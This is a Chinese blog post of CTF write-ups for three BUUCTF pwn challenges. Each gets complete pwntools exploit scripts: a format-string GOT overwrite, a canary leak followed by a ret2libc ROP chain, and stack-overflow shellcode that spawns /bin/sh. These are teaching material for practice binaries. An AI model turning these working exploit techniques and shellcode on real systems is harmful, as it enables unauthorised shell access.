buuctf:axb_2019_fmt32、pwnable_start、pwnable_start
本文最后更新于278 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、 axb_2019_fmt32题目分析

32位开了NX,程序是一个复读机

这个找不到溢出,发现是格式化字符串,看看偏移


它着没有对齐,偏移是8,可以补一个B看一下:


因为这道题没有system(“/bin/sh”),got表可改,所以通过printf的got表来泄露libc,计算基址后就可以将printf地址改为system,但是需要用fmtstr_payload

fmtstr_payload(offset, {address1: value1, address2: value2, ...}, numbwritten=0, write_size='byte')

offset: 格式化字符串的偏移量。

writes: 需要写入的数据,采用字典形式,例如 {printf_got: system_addr}。

numbwritten: 已经输出的字符个数,默认为 0。

write_size: 写入方式,可以是 ‘byte’(按字节)、’short’(按双字节)或 ‘int’(按四字节),默认是 ‘byte’。

2、试一试

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28928)
elf=ELF("./axb_2019_fmt32")
libc=ELF("./libc-2.23.so")
printf_got=elf.got['printf']

payload=b'a'+p32(printf_got)+b'b'+b'%8$s'
p.recvuntil("Please tell me:")
p.send(payload)
p.recvuntil(b"b")
printf=u32(p.recv(4))
print(hex(printf))

base=printf-libc.sym['printf']
sys=base+libc.sym['system']

payload=b'a'+fmtstr_payload(8,{printf_got:sys},write_size="byte",numbwritten=0xa)
p.recvuntil("Please tell me:")
p.sendline(payload)
p.sendline(b';/bin/sh\x00')#分号可以使不同命令同步实现
#发送 ;/bin/sh\x00,触发 printf 函数调用,此时 printf 已被修改为 system,因此会执行 system("/bin/sh"),从而获取 shell。
p.interactive()


如果我们不给/bin/sh前加分号


3、others_babystack分析

位开得挺多,运行是一个菜单

选1的话我们可以进行溢出泄露libc,但是跟之前有一道题类似,这道题多了一个canary,但是可以选2通过puts函数来泄露,我们要填充s到0x90-8的位置,后面就是canary的值,思路有了,现在开始尝试

找一下canary,由于接收有点问题,所以用c来做标志

面就是ret2libc了,我们用puts就行

只用找rdi

i=0x400a93

然后直接开写吧


4、others_babystack实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26444)
elf=ELF("./babystack")
libc=ELF("./libc-2.23.so")

poprdi=0x400a93
main=0x400908
p.sendline(b'1')
payload=b'a'*0x88
p.sendline(payload)

p.sendlineafter(b'>>',b'2')
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter(b'>>',b'1')
payload=b'a'*(0x90-8)+p64(canary)+b'a'*8
payload+=p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')
puts=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts))

libcbase=puts-libc.sym['puts']
sys=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'>>',b'1')
payload=b'a'*(0x90-8)+p64(canary)+b'a'*8+p64(poprdi)+p64(binsh)+p64(sys)
p.sendline(payload)
p.sendlineafter(b'>>',b'3')

p.interactive()


唉,捣鼓大半天


5、pwnable_start分析


啥也没有开

还挺特别的,看到了int80,第一次调用了write函数,,这道题还是用shellcode来做,但是我们在哪里放shellcode呢,我们去调试一下

偏移是20


我们通过溢出跳到mov ecx, esp(0x8048087)处获得esp的值后再跳转执行shellcode

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26440)

mov=0x8048087
payload=b'a'*20+p32(mov)
p.sendline(payload)
esp=u32(p.recv(4))
print(hex(esp))
p.interactive()

add esp, 14h

retn

程序最后先add14h才retn所以我们要回到原来的位置

6、pwnable_start实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26440)
offset = 0x14
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
p.sendafter(":",payload)
esp = u32(p.recv(4))
print(hex(esp))

#shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 "

shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=b'a'*20+p32(esp+20)+shellcode
p.send(payload)
p.interactive()


唉,怎么今天代码这么多报错


就做到这儿吧,肩膀快发炎了……

头昏TAT
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇